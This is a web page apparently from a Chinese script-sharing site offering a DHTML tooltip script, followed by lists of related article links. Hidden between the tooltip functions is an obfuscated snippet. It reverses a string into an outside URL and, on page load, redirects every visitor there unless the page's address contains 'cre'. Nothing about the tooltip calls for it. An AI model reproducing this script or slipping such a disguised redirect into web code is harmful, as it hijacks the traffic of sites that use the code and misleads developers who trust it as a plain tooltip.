popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
Javascript----文件操作
Jan 18 Javascript
初窥JQuery(一)jquery选择符 必备知识点
Nov 25 Javascript
javaScript(JS)替换节点实现思路介绍
Apr 17 Javascript
javascript笛卡尔积算法实现方法
Apr 08 Javascript
使用CDN和AJAX加速WordPress中jQuery的加载
Dec 05 Javascript
详解vue 模版组件的三种用法
Jul 21 Javascript
Vue的移动端多图上传插件vue-easy-uploader的示例代码
Nov 27 Javascript
jQuery动态添加元素无法触发绑定事件的解决方法分析
Jan 02 jQuery
详解Vue 全局引入bass.scss 处理方案
Mar 26 Javascript
AngularJS下$http服务Post方法传递json参数的实例
Mar 29 Javascript
vue axios请求拦截实例代码
Mar 29 Javascript
JS面向对象编程实现的Tab选项卡案例详解
Mar 03 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
用php实现让页面只能被百度gogole蜘蛛访问的方法
2009/12/29 PHP
兼容性比较好的PHP生成缩略图的代码
2011/01/12 PHP
php5.3 注意事项说明
2013/07/01 PHP
php实现在线生成条形码示例分享(条形码生成器)
2013/12/30 PHP
浅谈php处理后端&amp;接口访问超时的解决方法
2016/10/29 PHP
php发送http请求的常用方法分析
2016/11/08 PHP
JQery 渐变图片导航效果代码 漂亮
2010/01/01 Javascript
Firefox下提示illegal character并出现乱码的原因
2010/03/25 Javascript
网页右键ie不支持event.preventDefault和event.returnValue (需要加window)
2013/02/22 Javascript
jquery仿QQ商城带左右按钮控制焦点图片切换滚动效果
2013/06/27 Javascript
Javascript中各种trim的实现详细解析
2013/12/10 Javascript
jquery.validate使用详解
2016/06/02 Javascript
jQuery 特性操作详解及实例代码
2016/09/29 Javascript
关于JavaScript中事件绑定的方法总结
2016/10/26 Javascript
详解AngularJs HTTP响应拦截器实现登陆、权限校验
2017/04/11 Javascript
JS实现页面打印(整体、局部)
2017/08/18 Javascript
Vue.js实现双向数据绑定方法(表单自动赋值、表单自动取值)
2018/08/27 Javascript
JS事件绑定的常用方式实例总结
2019/03/02 Javascript
使用webpack4编译并压缩ES6代码的方法示例
2019/04/24 Javascript
基于JavaScript实现控制下拉列表
2020/05/08 Javascript
Postman如何实现参数化执行及断言处理
2020/07/28 Javascript
Openlayers学习之加载鹰眼控件
2020/09/28 Javascript
Python常用的文件及文件路径、目录操作方法汇总介绍
2015/05/21 Python
python实现颜色空间转换程序(Tkinter)
2015/12/31 Python
Python发送form-data请求及拼接form-data内容的方法
2016/03/05 Python
Python利用itchat对微信中好友数据实现简单分析的方法
2017/11/21 Python
​如何愉快地迁移到 Python 3
2019/04/28 Python
Python常用模块os.path之文件及路径操作方法
2019/12/03 Python
为什么称python为胶水语言
2020/06/16 Python
外科实习自我鉴定
2013/10/06 职场文书
写演讲稿要注意的六件事
2014/01/14 职场文书
大学四年个人的自我评价
2014/02/26 职场文书
雏鹰争章活动总结
2014/05/09 职场文书
学校四风问题对照检查材料思想汇报
2014/09/26 职场文书
小学班级管理心得体会
2016/01/07 职场文书
导游词之茶卡盐湖
2019/11/26 职场文书